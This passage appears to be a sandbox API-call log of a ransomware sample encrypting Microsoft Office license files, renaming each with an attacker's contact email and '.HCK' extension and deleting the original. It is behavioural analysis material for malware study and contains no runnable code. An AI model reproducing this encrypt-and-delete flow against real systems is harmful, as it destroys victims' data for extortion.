lpString2="-ms") returned -1 [0240.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0240.589] lstrlenW (lpString=".dbf") returned 4 [0240.589] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0240.589] lstrlenW (lpString=".1cd") returned 4 [0240.589] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0240.589] lstrlenW (lpString=".jpg") returned 4 [0240.589] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.589] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0240.589] lstrlenW (lpString="HomeStudentR_Trial-ppd.xrm-ms") returned 29 [0240.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.591] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=21727) returned 1 [0240.592] CloseHandle (hObject=0x534) returned 1 [0240.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 0x220 [0240.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.596] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.597] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.598] GetLastError () returned 0x0 [0240.598] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x54df, lpOverlapped=0x0) returned 1 [0240.600] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x54e0, lpOverlapped=0x0) returned 1 [0240.601] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.602] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x10e, lpOverlapped=0x0) returned 1 [0240.602] SetEndOfFile (hFile=0x4b4) returned 1 [0240.602] CloseHandle (hObject=0x4b4) returned 1 [0240.602] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.602] SetEndOfFile (hFile=0x534) returned 1 [0240.615] CloseHandle (hObject=0x534) returned 1 [0240.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 1 [0240.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0240.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0240.617] lstrlenW (lpString=".doc") returned 4 [0240.617] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.617] lstrlenW (lpString=".docx") returned 5 [0240.617] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.617] lstrlenW (lpString=".pdf") returned 4 [0240.617] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.617] lstrlenW (lpString=".xls") returned 4 [0240.617] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.617] lstrlenW (lpString=".xlsx") returned 5 [0240.617] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.617] lstrlenW (lpString=".ppt") returned 4 [0240.617] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0240.617] lstrlenW (lpString=".zip") returned 4 [0240.617] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.617] lstrlenW (lpString=".rar") returned 4 [0240.617] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.617] lstrlenW (lpString=".bz2") returned 4 [0240.617] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.617] lstrlenW (lpString=".7z") returned 3 [0240.617] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0240.617] lstrlenW (lpString=".dbf") returned 4 [0240.617] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0240.617] lstrlenW (lpString=".1cd") returned 4 [0240.617] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0240.617] lstrlenW (lpString=".jpg") returned 4 [0240.618] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0240.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0240.618] lstrlenW (lpString=".doc") returned 4 [0240.618] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.618] lstrlenW (lpString=".docx") returned 5 [0240.618] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.618] lstrlenW (lpString=".pdf") returned 4 [0240.618] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.618] lstrlenW (lpString=".xls") returned 4 [0240.618] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.618] lstrlenW (lpString=".xlsx") returned 5 [0240.618] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.618] lstrlenW (lpString=".ppt") returned 4 [0240.618] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0240.618] lstrlenW (lpString=".zip") returned 4 [0240.618] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.618] lstrlenW (lpString=".rar") returned 4 [0240.618] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.618] lstrlenW (lpString=".bz2") returned 4 [0240.618] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.618] lstrlenW (lpString=".7z") returned 3 [0240.618] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0240.618] lstrlenW (lpString=".dbf") returned 4 [0240.618] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0240.618] lstrlenW (lpString=".1cd") returned 4 [0240.618] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0240.618] lstrlenW (lpString=".jpg") returned 4 [0240.618] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.618] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0240.618] lstrlenW (lpString="HomeStudentR_Trial-ul-oob.xrm-ms") returned 32 [0240.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.620] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11616) returned 1 [0240.620] CloseHandle (hObject=0x534) returned 1 [0240.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 0x220 [0240.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.621] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.621] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.622] GetLastError () returned 0x0 [0240.622] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2d60, lpOverlapped=0x0) returned 1 [0240.624] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0240.624] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.625] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x114, lpOverlapped=0x0) returned 1 [0240.625] SetEndOfFile (hFile=0x4b4) returned 1 [0240.625] CloseHandle (hObject=0x4b4) returned 1 [0240.625] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.625] SetEndOfFile (hFile=0x534) returned 1 [0240.627] CloseHandle (hObject=0x534) returned 1 [0240.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 1 [0240.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0240.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0240.629] lstrlenW (lpString=".doc") returned 4 [0240.629] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.629] lstrlenW (lpString=".docx") returned 5 [0240.629] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.629] lstrlenW (lpString=".pdf") returned 4 [0240.629] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.629] lstrlenW (lpString=".xls") returned 4 [0240.629] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.629] lstrlenW (lpString=".xlsx") returned 5 [0240.629] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.629] lstrlenW (lpString=".ppt") returned 4 [0240.629] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0240.629] lstrlenW (lpString=".zip") returned 4 [0240.629] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.629] lstrlenW (lpString=".rar") returned 4 [0240.629] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.629] lstrlenW (lpString=".bz2") returned 4 [0240.629] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.629] lstrlenW (lpString=".7z") returned 3 [0240.629] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0240.629] lstrlenW (lpString=".dbf") returned 4 [0240.629] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0240.630] lstrlenW (lpString=".1cd") returned 4 [0240.630] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0240.630] lstrlenW (lpString=".jpg") returned 4 [0240.630] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0240.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0240.630] lstrlenW (lpString=".doc") returned 4 [0240.630] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.630] lstrlenW (lpString=".docx") returned 5 [0240.630] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.630] lstrlenW (lpString=".pdf") returned 4 [0240.630] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.630] lstrlenW (lpString=".xls") returned 4 [0240.630] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.630] lstrlenW (lpString=".xlsx") returned 5 [0240.630] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.630] lstrlenW (lpString=".ppt") returned 4 [0240.630] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0240.630] lstrlenW (lpString=".zip") returned 4 [0240.630] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.630] lstrlenW (lpString=".rar") returned 4 [0240.630] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.630] lstrlenW (lpString=".bz2") returned 4 [0240.630] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.631] lstrlenW (lpString=".7z") returned 3 [0240.631] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0240.631] lstrlenW (lpString=".dbf") returned 4 [0240.631] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0240.631] lstrlenW (lpString=".1cd") returned 4 [0240.631] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0240.631] lstrlenW (lpString=".jpg") returned 4 [0240.631] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.631] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0240.631] lstrlenW (lpString="HomeStudentR_Trial2-pl.xrm-ms") returned 29 [0240.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.632] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11167) returned 1 [0240.632] CloseHandle (hObject=0x534) returned 1 [0240.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 0x220 [0240.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0240.633] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.633] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.634] GetLastError () returned 0x0 [0240.634] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0240.636] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0240.959] ReadFile (in: hFile=0x534, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.959] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x10e, lpOverlapped=0x0) returned 1 [0240.959] SetEndOfFile (hFile=0x4b4) returned 1 [0240.959] CloseHandle (hObject=0x4b4) returned 1 [0240.959] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.959] SetEndOfFile (hFile=0x534) returned 1 [0240.964] CloseHandle (hObject=0x534) returned 1 [0240.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 1 [0240.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0240.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0240.967] lstrlenW (lpString=".doc") returned 4 [0240.967] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.967] lstrlenW (lpString=".docx") returned 5 [0240.967] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.967] lstrlenW (lpString=".pdf") returned 4 [0240.967] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.967] lstrlenW (lpString=".xls") returned 4 [0240.967] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.967] lstrlenW (lpString=".xlsx") returned 5 [0240.967] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.967] lstrlenW (lpString=".ppt") returned 4 [0240.967] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0240.967] lstrlenW (lpString=".zip") returned 4 [0240.968] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.968] lstrlenW (lpString=".rar") returned 4 [0240.968] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.968] lstrlenW (lpString=".bz2") returned 4 [0240.968] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.968] lstrlenW (lpString=".7z") returned 3 [0240.968] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0240.968] lstrlenW (lpString=".dbf") returned 4 [0240.968] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0240.968] lstrlenW (lpString=".1cd") returned 4 [0240.968] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0240.968] lstrlenW (lpString=".jpg") returned 4 [0240.968] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0240.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0240.968] lstrlenW (lpString=".doc") returned 4 [0240.968] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.968] lstrlenW (lpString=".docx") returned 5 [0240.968] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.968] lstrlenW (lpString=".pdf") returned 4 [0240.968] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.968] lstrlenW (lpString=".xls") returned 4 [0240.968] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.968] lstrlenW (lpString=".xlsx") returned 5 [0240.968] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.968] lstrlenW (lpString=".ppt") returned 4 [0240.968] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.968] lstrlenW (lpString="C:\\Program Files\\Microsoft 